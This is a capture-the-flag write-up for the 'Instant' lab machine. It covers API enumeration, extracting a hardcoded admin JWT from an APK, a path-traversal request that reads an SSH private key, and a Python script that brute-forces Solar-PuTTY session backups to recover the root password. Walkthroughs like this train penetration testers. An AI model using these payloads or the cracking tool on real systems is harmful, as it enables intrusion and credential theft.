Dive into the depths of cybersecurity with the Instant The Flag (CTF) challenge, a hard-level test of skill designed for seasoned professionals. This intense CTF writeup guides you through advanced techniques and complex vulnerabilities, pushing your expertise to the limit.

Add Hosts#

Edit the /etc/hosts file and add the following entries:

10.10.11.37 instant.htb swagger-ui.instant.htb mywalletv1.instant.htb

Script to add hosts automatically#

ip="10.10.11.37"
domain="instant.htb swagger-ui.instant.htb mywalletv1.instant.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV instant.htb

Nmap scan report for instant.htb (10.10.11.37)
Host is up (0.051s latency).
rDNS record for 10.10.11.37: swagger-ui.instant.htb
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Instant Wallet
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Swagger-UI: Get API Info#

To fetch the API specification from Swagger-UI:

curl -s http://swagger-ui.instant.htb/apispec_1.json | jq

Swagger-UI: Create a New User#

To create a new user via the Swagger-UI API:

curl -X POST "http://swagger-ui.instant.htb/api/v1/register" \
  -H "accept: application/json" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "pwn@email.com",
    "password": "pwn",
    "pin": "1234",
    "username": "pwn"
  }'

Swagger-UI: Login with the New User#

To log in with the newly created user:

curl -X POST "http://swagger-ui.instant.htb/api/v1/login" \
  -H "accept: application/json" \
  -H "Content-Type: application/json" \
  -d '{
    "password": "pwn",
    "username": "pwn"
  }'

Download APK and Extract JWT Admin Token#

To download the APK file, disassemble it, and extract the hardcoded JWT admin token:

wget http://instant.htb/downloads/instant.apk
apktool d instant.apk
cat ./instant/smali/com/instantlabs/instant/AdminActivities.smali | grep "ey"

Retrieve SSH Key and Log in#

Use the JWT admin token to retrieve the SSH private key, then use the key to log into the server:

curl -s -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F.ssh%2Fid_rsa" \
  -H "accept: application/json" \
  -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq -r '.["/home/shirohige/logs/../.ssh/id_rsa"] | join("")' > id_rsa
chmod 600 id_rsa
ssh -i id_rsa shirohige@instant.htb

Retrieve the User Flag#

Once logged in, you can retrieve the user flag:

cat /home/shirohige/user.txt

Unintended PrivEsc#

with linpeas /opt/backups/Solar-PuTTY/sessions-backup.dat is showed

cat /opt/backups/Solar-PuTTY/sessions-backup.dat

save in you local pc:

#!/bin/env python3
# Solar Putty Decrypt
import re
import sys
import json
import base64
import string
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def is_printable(text):
    printable_set = set(string.printable)
    printable_count = sum(1 for char in text if char in printable_set)
    total_count = len(text)
    if total_count == 0:
        return False
    return (printable_count / total_count) > 0.9

def decrypt(passphrase, ciphertext):
    array = base64.b64decode(ciphertext)
    salt_size, iv_size = 24, 8
    salt, iv, encrypted_data = array[:salt_size], array[salt_size:salt_size+iv_size], array[salt_size+iv_size:]
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA1(), length=24, salt=salt, iterations=1000, backend=default_backend()
    )
    key = kdf.derive(passphrase.encode())
    cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    padded_data = decryptor.update(encrypted_data) + decryptor.finalize()
    unpadder = padding.PKCS7(64).unpadder()
    data = unpadder.update(padded_data) + unpadder.finalize()
    try:
        decoded_data = data.decode('utf-8')
    except UnicodeDecodeError:
        try:
            decoded_data = data.decode('latin-1')
        except UnicodeDecodeError:
            decoded_data = data.decode('latin-1', errors='ignore')
    if is_printable(decoded_data):
        return decoded_data
    else:
        return None

def try_decrypt_with_password(file_name, password):
    def clean_invalid_prefix(data):
        clean_data = re.sub(r'^[^\[]*', '', data)
        clean_data = re.sub(r'],', ']\n', clean_data)
        clean_data = re.sub(r'}(?=[^}]*$)', '', clean_data)
        return clean_data

    def parse_custom_data(data):
        sections = re.split(r'("Data":|"Credentials":|"AuthScript":|"Groups":|"Tunnels":|"LogsFolderDestination":)', data)
        result = {}
        current_section = None
        for part in sections:
            part = part.strip()
            if not part:
                continue
            if part.startswith('"') and part.endswith(':'):
                current_section = part.strip(':').strip('"')
                result[current_section] = []
            elif current_section:
                if part:
                    result[current_section].append(part)
        for section, content in result.items():
            for item in content:
                item = item.strip()
                if item == "[]":
                    continue
                print(f"[{section}]")
                try:
                    parsed_item = json.loads(item)
                    print(json.dumps(parsed_item, indent=4))
                except json.JSONDecodeError:
                    print(f"Content (raw): {item}")

    try:
        with open(file_name, 'rb') as file:
            encrypted_data = file.read().strip()
        decrypted_data = decrypt(password, encrypted_data)
        cleaned_data = clean_invalid_prefix(decrypted_data)
        parse_custom_data("\"Data\":" + cleaned_data)
        return True

    except Exception as e:
        print(f"[-] Failed with password '{password}'")
        #print(f"{e}")
        return False

def do_import_with_wordlist(file_name, wordlist_path):
    try:
        with open(wordlist_path, 'r', encoding='latin-1', errors='ignore') as wordlist_file:
            passwords = [line.strip() for line in wordlist_file]
        for password in passwords:
            if try_decrypt_with_password(file_name, password):
                print(f"[+] Success! Correct password is: {password}")
                return True
        else:
            print("[-] No valid password found in the wordlist.")
            return False
    except FileNotFoundError as e:
        print(f"Error: {e}")
        return False

def main():
    try:
        if len(sys.argv) == 4 and sys.argv[2] == '-w':
            file_name = sys.argv[1]
            wordlist_path = sys.argv[3]
            if not do_import_with_wordlist(file_name, wordlist_path):
                sys.exit(1)
        elif len(sys.argv) == 3:
            file_name, password = sys.argv[1], sys.argv[2]
            if not try_decrypt_with_password(file_name, password):
                sys.exit(1)
        else:
            print("Usage: solarputtydecrypt <file_path> <password> or solarputtydecrypt <file_path> -w <wordlist_path>")
            sys.exit(1)
    except KeyboardInterrupt:
        print("\nProcess interrupted by user (Ctrl + C). Exiting...")
        sys.exit(0)

if __name__ == "__main__":
    main()
vi key
chmod +x solarputtydecrypt
solarputtydecrypt key -w /usr/share/dict/rockyou.txt

with this you will find password for root user

ssh -i id_rsa shirohige@instant.htb
su root
cat /root/root.txt